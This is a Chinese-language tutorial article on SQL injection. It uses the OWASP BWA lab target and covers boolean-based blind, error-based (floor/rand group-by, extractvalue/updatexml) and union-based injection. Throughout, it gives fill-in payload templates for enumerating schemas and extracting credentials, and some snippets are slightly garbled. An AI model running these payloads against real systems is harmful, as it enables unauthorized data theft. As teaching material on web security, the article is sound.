SQL注入的示例分析

52次阅读
没有评论

共计 6583 个字符,预计需要花费 17 分钟才能阅读完成。

这篇文章主要为大家展示了“SQL 注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让丸趣 TV 小编带领大家一起研究并学习一下“SQL 注入的示例分析”这篇文章吧。

SQL 注入攻击的总体思路

  1. 寻找到 SQL 注入的位置

  2. 判断服务器类型和后台数据库类型

  3. 针对不通的服务器和数据库特点进行 SQL 注入攻击

关于 SQL Injection(SQL 注入)

SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。

学习 SQL 注入,首先要搭一个靶机环境,我使用的是 OWASP BWA,感兴趣的可以去官网下载一个安装,除了 SQL 注入,很多靶机环境都可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的。

$id = $_GET[ id 
$getid =  SELECT first_name, last_name FROM users WHERE user_id =  $id 
$result = mysql_query($getid) or die(pre  . mysql_error() .  /pre  );
$num = mysql_numrows($result);

这是一个很简单的 PHP 代码,从前台获得 id 的值,交给数据库来执行,把结果返回给前台。

比如我们在 OWASP 里输入 id = 1,点击 Submit,返回结果如下:

稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,我们在 submit 输入框输入的如何内容都会被提交给数据库执行,比如在输入框输入 1 or 1 = 1,执行就会变成:

// 原先要在数据库中执行的命令
SELECT first_name, last_name FROM users WHERE user_id =  1 
SELECT first_name, last_name FROM users WHERE user_id =  1  or  1 = 1

注意一下单引号,这是 SQL 注入中非常重要的一个地方,所以注入代码的最后要补充一个 1 = 1 让单引号闭合。

由于 or 的执行,会把数据库表 users 中的所有内容显示出来,

下面对三种主要的注入类型进行介绍。

Boolean-based 原理分析

首先不得不讲 SQL 中的 AND 和 OR

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。

AND: 返回第一个条件和第二个条件都成立的记录。

OR: 返回满足第一个条件或第二个条件的记录。

AND 和 OR 即为集合论中的交集和并集。

下面是一个数据库的查询内容。

mysql  select * from students;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql  select * from students where TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql  select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql  SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql  select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql  selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql  select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

会发现 and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。

这便是最基础的 boolean 注入, 以此为基础你可以自由组合语句。

字典爆破流

and exists(select * from ?) //? 为猜测的表名
and exists(select ? from x) //? 为猜测的列名 

截取二分流

and (length((select schema_name from information_schema.schemata limit 1)) ?) // 判断数据库名的长度
and (substr((select schema_name from information_schema.schemata limit 1),1,1) ? )
and (substr((select schema_name from information_schema.schemata limit 1),1,1) ? ) // 利用二分法判断第一个字符 

Boolean-based 总结

根据前面的介绍,我们知道,对于基于 Boolean-based 的注入,必须要有一个可以正常访问的地址,比如 http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明 id= 1 的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字 keyword 的长度,在后面构造 id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明 and 后面的 (select length(keyword) from table)= 1 返回 false,keyword 的长度不等于 1。继续构造直到 id=1 and (select length(keyword) from table)=15 返回 true,说明 keyword 的长度为 15。

为什么我们刚开始一定要找一个已经存在的 id,其实这主要是为了构造一个为真的情况。Boolean-based 就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。

对于 keyword 的值,mysql 数据库可以使用 substr(string, start, length) 函数,截取 string 从第 start 位开始的 length 个字符串 id=1 and (select substr(keyword,1,1) from table) = A,依此类推,就可以获得 keyword 的在数据库中的值。

Boolean-based 的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式。

Error Based 原理分析

关于错误回显

基于错误回显的 sql 注入就是通过 sql 语句的矛盾性来使数据被回显到页面上。

所用到的函数

count() 统计元祖的个数(相当于求和)

如 select count(*) from information_schema.tables; 

rand() 用于产生一个 0~1 的随机数  

floor() 向下取整  

group by 依据我们想要的规矩对结果进行分组  

concat 将符合条件的同一列中的不同行数据拼接,以逗号隔开

用于错误回显的 sql 语句

第一种:基于 rand() 与 group by 的错误

利用 group by part of rand() returns duplicate key error 这个 bug,关于 rand() 函数与 group by 在 mysql 中的错误报告如下:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

这个 bug 会爆出 duplicate key 这个错误,然后顺便就把数据偷到了。

公式:username=admin and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的 sql 语句))x from information_schema.tables group by x )a) and‘1 =‘1

第二种:XPATH 爆信息

这里主要用到的是 ExtractValue() 和 UpdateXML() 这 2 个函数,由于 mysql 5.1 以后提供了内置的 XML 文件解析和函数,所以这种注入只能用于 5.1 版本以后使用

查看 sql 手册

语法:EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc

第二个参数:XPath_string (Xpath 格式的字符串),如果不了解 Xpath 语法,可以在网上查找教程。

作用:从目标 XML 中返回包含所查询值的字符串

语法:UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc

第二个参数:XPath_string (Xpath 格式的字符串),如果不了解 Xpath 语法,可以在网上查找教程。

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

现在就很清楚了,我们只需要不满足 XPath_string(Xpath 格式) 就可以了,但是由于这个方法只能爆出 32 位,所以可以结合 mid 来使用

公式 1:username=admin and (extractvalue(1, concat(0x7e,( 你想获取的数据的 sql 语句)))) and‘1 = 1

公式 2:username=admin and (updatexml(1, concat(0x7e,( 你想获取的数据的 sql 语句)),1)) and‘1 = 1

基于错误回显的注入,总结起来就一句话,通过 sql 语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,导致基于错误的注入偷数据的效率并没有那么高,但相对于布尔注入已经提高了一个档次。

union query injection

要了解 union query injection,首先得了解 union 查询,union 用于合并两个或更多个 select 的结果集。比如说

SELECT username, password FROM account;

结果是

admin 123456

SELECT id, title FROM article

的结果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的结果就是

admin 123456

1 Hello, World

比起多重嵌套的 boolean 注入,union 注入相对轻松。因为,union 注入可以直接返回信息而不是布尔值。前面的介绍看出把 union 会把结果拼拼到一起,所有要让 union 前面的查询返回一个空值,一般采用类似于 id=- 1 的方式。

1)

mysql  select name from students where id = -1 union select schema_name from information_schema.schemata; // 数据库名  
+--------------------+
| name |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| rumRaisin |
| t3st |
| test |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql  select name from students where id = -1 union select table_name from information_schema.tables where table_schema= t3st  // 表名
+----------+
| name |
+----------+
| master |
| students |
+----------+
2 rows in set (0.00 sec)

3)

mysql  select name from students where id = -1 union select column_name from information_schema.columns where table_name =  students  ; // 列名
+------+
| name |
+------+
| id |
| name |
| age |
+------+
3 rows in set (0.00 sec)

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错。

所以你如果想要使用 union 查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。

猜测列数

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
// 直到页面正常显示 

比如这条语句

-1 UNION SELECT 1,2,3,4

如果显示的值为 3 和 4,表示该查询结果中有四列,并且第三列和第四列是有用的。则相应的构造 union 语句如下

-1 UNION SELECT 1,2,username,password FROM table

以上是“SQL 注入的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注丸趣 TV 行业资讯频道!

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-08-04发表,共计6583字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)